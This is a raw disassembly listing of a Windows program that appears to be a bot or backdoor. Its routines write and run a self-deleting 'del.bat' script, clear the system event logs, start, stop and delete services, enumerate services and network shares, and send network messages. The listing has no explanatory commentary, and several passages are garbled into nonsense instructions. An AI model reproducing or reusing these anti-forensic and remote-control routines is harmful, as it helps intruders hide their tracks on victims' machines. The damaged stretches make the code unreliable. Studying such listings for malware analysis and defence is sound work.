sub_41853D proc near ; CODE XREF: seg000:0040420Dp
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp ds:dword_42A094, esi
push edi
jz short loc_418561
cmp ds:dword_4CDCC4, esi
jnz short loc_418561
push esi
call start
pop ecx
loc_418561: ; CODE XREF: sub_41853D+13j
; sub_41853D+1Bj
call sub_40B134
lea eax, [ebp+var_764]
push eax
push 400h
call near ptr 0B10000h
pop ebp
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_41BA76
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call ds:dword_4280EC ; CreateFileA
mov edi, eax
cmp edi, esi
jbe loc_4186C1
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_41BA76
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
call near ptr 0B10000h
lds edx, [edi-1]
adc eax, offset dword_42806C
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41B780
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_41B780
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset dword_43FDB4
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call near ptr 0B10000h
adc eax, 79BCE850h
outsd
add [ebx], dl
lea eax, [ebp+var_15C]
push eax
call ds:dword_428098 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_418669
lea eax, [ebp+var_15C]
push 80h
push eax
call near ptr 0B10000h
dec eax
loc_418669: ; CODE XREF: sub_41853D+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_41BA76
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
call near ptr 0B10000h
mov al, 8Dh
inc ebp
in al, dx
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
call near ptr 0B10000h
xchg eax, edx
loc_4186C1: ; CODE XREF: sub_41853D+72j
pop edi
pop esi
leave
retn
sub_41853D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4186C5 proc near ; CODE XREF: seg000:00408C2Ap
var_294 = byte ptr -294h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 294h
push edi
xor edi, edi
push 94h
lea eax, [ebp+var_94]
push edi
push eax
call sub_41B780
add esp, 0Ch
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call ds:dword_4280C8 ; GetVersionExA
cmp [ebp+var_84], 2
jnz short loc_41875B
push [ebp+arg_10]
push [ebp+arg_C]
call ds:dword_4CDB78 ; OpenEventLogA
push edi
push eax
call ds:dword_4CDB88 ; ClearEventLogA
test eax, eax
jz short loc_41874D
push [ebp+arg_10]
push offset dword_43B5F8
loc_418726: ; CODE XREF: sub_4186C5+94j
lea eax, [ebp+var_294]
push eax
call sub_41BA76
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
add esp, 20h
jmp short loc_418785
; ---------------------------------------------------------------------------
loc_41874D: ; CODE XREF: sub_4186C5+57j
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_43B5D0
jmp short loc_418726
; ---------------------------------------------------------------------------
loc_41875B: ; CODE XREF: sub_4186C5+3Fj
lea eax, [ebp+var_294]
push offset unk_43B5A0
push eax
call sub_41BA76
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
add esp, 1Ch
loc_418785: ; CODE XREF: sub_4186C5+86j
pop edi
leave
retn
sub_4186C5 endp
; ---------------------------------------------------------------------------
loc_418788: ; CODE XREF: seg000:00407091p
push ebp
mov ebp, esp
sub esp, 1C0h
lea eax, [ebp-94h]
mov dword ptr [ebp-94h], 94h
push eax
call ds:dword_4280C8 ; GetVersionExA
cmp dword ptr [ebp-90h], 4
jnz short loc_4187CD
cmp dword ptr [ebp-8Ch], 0
jnz loc_418857
xor eax, eax
inc eax
cmp [ebp-84h], eax
jz near ptr loc_418850+5
loc_4187CD: ; CODE XREF: seg000:004187AFj
; seg000:00418867j
push esi
push edi
push offset aNetapi32_dll ; "netapi32.dll"
call ds:dword_4280B8 ; LoadLibraryA
mov esi, eax
push offset aNetmessagebuff ; "NetMessageBufferSend"
push esi
call ds:dword_4280BC
push 32h
mov edi, eax
push dword ptr [ebp+8]
lea eax, [ebp-1C0h]
push eax
call sub_41DA54
push 32h
lea eax, [ebp-15Ch]
push dword ptr [ebp+0Ch]
push eax
call sub_41DA54
push 32h
lea eax, [ebp-0F8h]
push dword ptr [ebp+10h]
push eax
call sub_41DA54
lea eax, [ebp-0F8h]
push eax
call sub_41DA37
add eax, eax
push eax
lea eax, [ebp-0F8h]
push eax
lea eax, [ebp-15Ch]
push eax
lea eax, [ebp-1C0h]
push eax
push 0
call edi ; GetProcessHeap
add esp, 3Ch
mov edi, eax
push esi
call near ptr 0B10000h
loc_418850: ; CODE XREF: seg000:004187C7j
arpl [ebx-36A1A039h], cx
retn
; ---------------------------------------------------------------------------
loc_418857: ; CODE XREF: seg000:004187B8j
cmp dword ptr [ebp-8Ch], 0Ah
jz short loc_41886D
cmp dword ptr [ebp-8Ch], 5Ah
jnz loc_4187CD
loc_41886D: ; CODE XREF: seg000:0041885Ej
xor eax, eax
inc eax
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418872 proc near ; CODE XREF: sub_401132+F7p
; seg000:00414F53p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call ds:dword_4280A8 ; GetTickCount
push eax
call sub_41BAC8
pop ecx
call sub_41BAD2
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul ds:dbl_428700
call sub_41C988
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_418872 endp
; =============== S U B R O U T I N E =======================================
sub_4188AF proc near ; CODE XREF: seg000:loc_405FDBp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_418914
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push ds:dword_43B620[esi]
push edi
push eax
call sub_418936
add esp, 14h
test eax, eax
jnz short loc_4188F7
push edi
push ds:off_43B61C[esi]
mov esi, offset dword_4DDC38
push offset unk_43B730
push esi
call sub_41BA76
add esp, 10h
jmp short loc_418931
; ---------------------------------------------------------------------------
loc_4188F7: ; CODE XREF: sub_4188AF+2Aj
push eax
call sub_4189D8
push eax
push edi
mov esi, offset dword_4DDC38
push offset unk_43B704
push esi
call sub_41BA76
add esp, 14h
jmp short loc_418931
; ---------------------------------------------------------------------------
loc_418914: ; CODE XREF: sub_4188AF+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_4DDC38
push ds:off_43B618[eax*4]
push offset unk_43B6E0
push esi
call sub_41BA76
add esp, 0Ch
loc_418931: ; CODE XREF: sub_4188AF+46j
; sub_4188AF+63j
mov eax, esi
pop edi
pop esi
retn
sub_4188AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418936 proc near ; CODE XREF: sub_4188AF+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call ds:dword_4CDBEC ; OpenSCManagerA
mov edi, eax
cmp edi, ebx
jnz short loc_41895D
call ds:dword_42808C ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_4189D2
; ---------------------------------------------------------------------------
loc_41895D: ; CODE XREF: sub_418936+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call ds:dword_4CDAD4 ; OpenServiceA
mov esi, eax
cmp esi, ebx
jnz short loc_41897D
call ds:dword_42808C ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_4189CA
; ---------------------------------------------------------------------------
loc_41897D: ; CODE XREF: sub_418936+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_4189B0
cmp eax, 3
jz short loc_4189A1
jle short loc_4189C3
cmp eax, 6
jg short loc_4189C3
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call ds:dword_4CDB40 ; ControlService
jmp short loc_4189B7
; ---------------------------------------------------------------------------
loc_4189A1: ; CODE XREF: sub_418936+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call ds:dword_4CDADC ; StartServiceA
jmp short loc_4189B7
; ---------------------------------------------------------------------------
loc_4189B0: ; CODE XREF: sub_418936+4Dj
push esi
call ds:dword_4CDB44 ; DeleteService
loc_4189B7: ; CODE XREF: sub_418936+69j
; sub_418936+78j
test eax, eax
jnz short loc_4189C3
call ds:dword_42808C ; RtlGetLastWin32Error
mov ebx, eax
loc_4189C3: ; CODE XREF: sub_418936+54j
; sub_418936+59j ...
push esi
call ds:dword_4CDAF0 ; CloseServiceHandle
loc_4189CA: ; CODE XREF: sub_418936+45j
push edi
call ds:dword_4CDAF0 ; CloseServiceHandle
pop esi
loc_4189D2: ; CODE XREF: sub_418936+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_418936 endp
; =============== S U B R O U T I N E =======================================
sub_4189D8 proc near ; CODE XREF: sub_4188AF+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_418A8D
jz loc_418A86
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_418A50
jz short loc_418A46
mov ecx, eax
sub ecx, 3
jz short loc_418A3C
dec ecx
dec ecx
jz short loc_418A32
dec ecx
jz short loc_418A28
sub ecx, 51h
jz short loc_418A1E
sub ecx, 24h
jnz loc_418B03 ; default
; jumptable 00418AAA cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_418AF5
; ---------------------------------------------------------------------------
loc_418A1E: ; CODE XREF: sub_4189D8+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_418AF5
; ---------------------------------------------------------------------------
loc_418A28: ; CODE XREF: sub_4189D8+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_418AF5
; ---------------------------------------------------------------------------
loc_418A32: ; CODE XREF: sub_4189D8+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_418AF5
; ---------------------------------------------------------------------------
loc_418A3C: ; CODE XREF: sub_4189D8+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_418AF5
; ---------------------------------------------------------------------------
loc_418A46: ; CODE XREF: sub_4189D8+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_418AF5
; ---------------------------------------------------------------------------
loc_418A50: ; CODE XREF: sub_4189D8+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_418A7F
dec ecx
jz short loc_418A78
dec ecx
jz short loc_418A71
dec ecx
jnz loc_418B03 ; default
; jumptable 00418AAA cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_418AF5
; ---------------------------------------------------------------------------
loc_418A71: ; CODE XREF: sub_4189D8+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_418AF5
; ---------------------------------------------------------------------------
loc_418A78: ; CODE XREF: sub_4189D8+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_418AF5
; ---------------------------------------------------------------------------
loc_418A7F: ; CODE XREF: sub_4189D8+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_418AF5
; ---------------------------------------------------------------------------
loc_418A86: ; CODE XREF: sub_4189D8+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_418AF5
; ---------------------------------------------------------------------------
loc_418A8D: ; CODE XREF: sub_4189D8+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_418B03 ; default
; jumptable 00418AAA cases 1,5,6,8,9,12,13,15,16
jz short loc_418AF0
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_418B03 ; default
; jumptable 00418AAA cases 1,5,6,8,9,12,13,15,16
movzx ecx, ds:byte_418B44[ecx]
jmp ds:off_418B1C[ecx*4] ; switch jump
loc_418AB1: ; DATA XREF: seg000:off_418B1Co
push offset aTheSpecifiedDa ; jumptable 00418AAA case 7
jmp short loc_418AF5
; ---------------------------------------------------------------------------
loc_418AB8: ; CODE XREF: sub_4189D8+D2j
; DATA XREF: seg000:off_418B1Co
push offset aTheServiceDepe ; jumptable 00418AAA case 17
jmp short loc_418AF5
; ---------------------------------------------------------------------------
loc_418ABF: ; CODE XREF: sub_4189D8+D2j
; DATA XREF: seg000:off_418B1Co
push offset aTheServiceDe_0 ; jumptable 00418AAA case 10
jmp short loc_418AF5
; ---------------------------------------------------------------------------
loc_418AC6: ; CODE XREF: sub_4189D8+D2j
; DATA XREF: seg000:off_418B1Co
push offset aTheServiceHasB ; jumptable 00418AAA case 0
jmp short loc_418AF5
; ---------------------------------------------------------------------------
loc_418ACD: ; CODE XREF: sub_4189D8+D2j
; DATA XREF: seg000:off_418B1Co
push offset aTheSpecified_0 ; jumptable 00418AAA case 2
jmp short loc_418AF5
; ---------------------------------------------------------------------------
loc_418AD4: ; CODE XREF: sub_4189D8+D2j
; DATA XREF: seg000:off_418B1Co
push offset aTheServiceCoul ; jumptable 00418AAA case 11
jmp short loc_418AF5
; ---------------------------------------------------------------------------
loc_418ADB: ; CODE XREF: sub_4189D8+D2j
; DATA XREF: seg000:off_418B1Co
push offset aTheServiceHa_0 ; jumptable 00418AAA case 14
jmp short loc_418AF5
; ---------------------------------------------------------------------------
loc_418AE2: ; CODE XREF: sub_4189D8+D2j
; DATA XREF: seg000:off_418B1Co
push offset aTheRequested_1 ; jumptable 00418AAA case 3
jmp short loc_418AF5
; ---------------------------------------------------------------------------
loc_418AE9: ; CODE XREF: sub_4189D8+D2j
; DATA XREF: seg000:off_418B1Co
push offset aTheServiceHasN ; jumptable 00418AAA case 4
jmp short loc_418AF5
; ---------------------------------------------------------------------------
loc_418AF0: ; CODE XREF: sub_4189D8+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_418AF5: ; CODE XREF: sub_4189D8+41j
; sub_4189D8+4Bj ...
push offset dword_4DD568
call sub_41BA76
pop ecx
pop ecx
jmp short loc_418B16
; ---------------------------------------------------------------------------
loc_418B03: ; CODE XREF: sub_4189D8+36j
; sub_4189D8+89j ...
push eax ; default
; jumptable 00418AAA cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_4DD568
call sub_41BA76
add esp, 0Ch
loc_418B16: ; CODE XREF: sub_4189D8+129j
mov eax, offset dword_4DD568
retn
sub_4189D8 endp
; ---------------------------------------------------------------------------
off_418B1C dd offset loc_418AC6 ; DATA XREF: sub_4189D8+D2r
dd offset loc_418ACD ; jump table for switch statement
dd offset loc_418AE2
dd offset loc_418AE9
dd offset loc_418AB1
dd offset loc_418ABF
dd offset loc_418AD4
dd offset loc_418ADB
dd offset loc_418AB8
dd offset loc_418B03
byte_418B44 db 0, 9, 1, 2 ; DATA XREF: sub_4189D8+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418B56 proc near ; CODE XREF: seg000:00406006p
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call ds:dword_4CDBEC ; OpenSCManagerA
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
add esp, 14h
loc_418B8E: ; CODE XREF: sub_418B56+123j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call ds:dword_4CDBB8 ; EnumServicesStatusA
test eax, eax
jnz short loc_418BC8
call ds:dword_42808C ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz loc_418C7F
loc_418BC8: ; CODE XREF: sub_418B56+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_418C76
lea esi, [ebp+var_188]
loc_418BD9: ; CODE XREF: sub_418B56+11Aj
mov eax, [esi+8]
dec eax
jz short loc_418C25
dec eax
jz short loc_418C1E
dec eax
jz short loc_418C17
dec eax
jz short loc_418C10
dec eax
jz short loc_418C09
dec eax
jz short loc_418C02
dec eax
lea eax, [ebp+var_20]
jz short loc_418BFB
push offset aUnknown_0 ; " Unknown"
jmp short loc_418C2D
; ---------------------------------------------------------------------------
loc_418BFB: ; CODE XREF: sub_418B56+9Cj
push offset aPaused_0 ; " Paused"
jmp short loc_418C2D
; ---------------------------------------------------------------------------
loc_418C02: ; CODE XREF: sub_418B56+96j
push offset aPausing ; " Pausing"
jmp short loc_418C2A
; ---------------------------------------------------------------------------
loc_418C09: ; CODE XREF: sub_418B56+93j
push offset aContinuing ; " Continuing"
jmp short loc_418C2A
; ---------------------------------------------------------------------------
loc_418C10: ; CODE XREF: sub_418B56+90j
push offset aRunning ; " Running"
jmp short loc_418C2A
; ---------------------------------------------------------------------------
loc_418C17: ; CODE XREF: sub_418B56+8Dj
push offset aStoping ; " Stoping"
jmp short loc_418C2A
; ---------------------------------------------------------------------------
loc_418C1E: ; CODE XREF: sub_418B56+8Aj
push offset aStarting ; " Starting"
jmp short loc_418C2A
; ---------------------------------------------------------------------------
loc_418C25: ; CODE XREF: sub_418B56+87j
push offset aStopped ; " Stopped"
loc_418C2A: ; CODE XREF: sub_418B56+B1j
; sub_418B56+B8j ...
lea eax, [ebp+var_20]
loc_418C2D: ; CODE XREF: sub_418B56+A3j
; sub_418B56+AAj
push eax
call sub_41BA76
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_41BA76
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_418BD9
loc_418C76: ; CODE XREF: sub_418B56+77j
cmp [ebp+var_8], ebx
jnz loc_418B8E
loc_418C7F: ; CODE XREF: sub_418B56+6Cj
push [ebp+var_C]
call ds:dword_4CDAF0 ; CloseServiceHandle
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_418B56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C96 proc near ; CODE XREF: seg000:loc_4060CBp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_418D2F
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_418CBF
dec eax
jnz short loc_418D0F
push edi
push 0
call sub_418E68
pop ecx
pop ecx
jmp short loc_418D0B
; ---------------------------------------------------------------------------
loc_418CBF: ; CODE XREF: sub_418C96+18j
cmp [ebp+arg_8], 0
jnz short loc_418CFD
push 24h
push edi
call sub_41C1A0
pop ecx
test eax, eax
pop ecx
jnz short loc_418CFD
push 57h
pop eax
loc_418CD6: ; CODE XREF: sub_418C96+77j
push eax
call sub_419636
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DD830
push ds:off_43B618[eax*4]
push offset unk_43BCD4
push esi
call sub_41BA76
add esp, 18h
jmp short loc_418D4F
; ---------------------------------------------------------------------------
loc_418CFD: ; CODE XREF: sub_418C96+2Dj
; sub_418C96+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_418DBC
add esp, 0Ch
loc_418D0B: ; CODE XREF: sub_418C96+27j
test eax, eax
jnz short loc_418CD6
loc_418D0F: ; CODE XREF: sub_418C96+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DD830
push ds:off_43B61C[eax*4]
push offset dword_43BCB8
push esi
call sub_41BA76
add esp, 10h
jmp short loc_418D4F
; ---------------------------------------------------------------------------
loc_418D2F: ; CODE XREF: sub_418C96+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DD830
lea eax, [eax+eax*2]
push ds:off_43B618[eax*4]
push offset unk_43BC94
push esi
call sub_41BA76
add esp, 0Ch
loc_418D4F: ; CODE XREF: sub_418C96+65j
; sub_418C96+97j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_418C96 endp
; =============== S U B R O U T I N E =======================================
sub_418D55 proc near ; CODE XREF: sub_41A044+247p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_418D62
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_418D62: ; CODE XREF: sub_418D55+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, ds:dword_428180
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi ; WideCharToMultiByte
test ds:byte_4DDA30, 1
mov ebp, eax
jnz short loc_418D9F
or ds:byte_4DDA30, 1
lea eax, [ebp+1]
push eax
call sub_41D1B5
pop ecx
mov ds:dword_4DD7C8, eax
loc_418D9F: ; CODE XREF: sub_418D55+32j
push esi
push esi
push ebp
push ds:dword_4DD7C8
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi ; WideCharToMultiByte
mov eax, ds:dword_4DD7C8
pop edi
pop ebp
pop ebx
pop esi
retn
sub_418D55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418DBC proc near ; CODE XREF: sub_418C96+6Dp
; sub_41A36A+18Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_418E27
push [ebp+arg_4]
mov edi, eax
call sub_418E27
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_41C1A0
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_418E27
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call ds:dword_4CDAEC
pop edi
leave
retn
sub_418DBC endp
; =============== S U B R O U T I N E =======================================
sub_418E27 proc near ; CODE XREF: sub_418DBC+Ap
; sub_418DBC+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_418E34
pop ebp
retn
; ---------------------------------------------------------------------------
loc_418E34: ; CODE XREF: sub_418E27+9j
push ebx
push esi
mov esi, ds:dword_428184
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; MultiByteToWideChar
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_41D1B5
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; MultiByteToWideChar
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_418E27 endp
; =============== S U B R O U T I N E =======================================
sub_418E68 proc near ; CODE XREF: sub_418C96+20p
; sub_41A044+1BCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_418E27
push [esp+8+arg_4]
mov esi, eax
call sub_418E27
pop ecx
pop ecx
push 0
push eax
push esi
call ds:dword_4CDAC4
pop esi
retn
sub_418E68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418E8B proc near ; CODE XREF: seg000:004060F7p
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_418E27
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
add esp, 18h
loc_418EC4: ; CODE XREF: sub_418E8B+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call ds:dword_4CDB3C
mov ebx, eax
cmp ebx, esi
jz short loc_418F27
cmp ebx, 0EAh
jz short loc_418F27
push ebx
push ebx
call sub_419636
pop ecx
push eax
lea eax, [ebp+var_210]
push offset unk_43BD20
push eax
call sub_41BA76
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
add esp, 24h
jmp short loc_418F94
; ---------------------------------------------------------------------------
loc_418F27: ; CODE XREF: sub_418E8B+5Dj
; sub_418E8B+65j
xor edi, edi
inc edi
cmp [ebp+arg_C], edi
jb short loc_418F8B
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_418F35: ; CODE XREF: sub_418E8B+FCj
push dword ptr [esi+10h]
call ds:dword_4CDAE0 ; IsValidSecurityDescriptor
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_418F4C
mov eax, offset aNo ; "No"
loc_418F4C: ; CODE XREF: sub_418E8B+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_41BA76
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_418F35
xor esi, esi
loc_418F8B: ; CODE XREF: sub_418E8B+A2j
push [ebp+var_4]
call ds:dword_4CDC88
loc_418F94: ; CODE XREF: sub_418E8B+9Aj
cmp ebx, 0EAh
jz loc_418EC4
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_418E8B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418FAC proc near ; CODE XREF: seg000:loc_406162p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_419050
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_418FEE
dec eax
jz short loc_418FE3
dec eax
jnz short loc_419009
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_4190F2
add esp, 14h
jmp short loc_419005
; ---------------------------------------------------------------------------
loc_418FE3: ; CODE XREF: sub_418FAC+1Dj
push ebx
push edi
call sub_4190D1
pop ecx
pop ecx
jmp short loc_419005
; ---------------------------------------------------------------------------
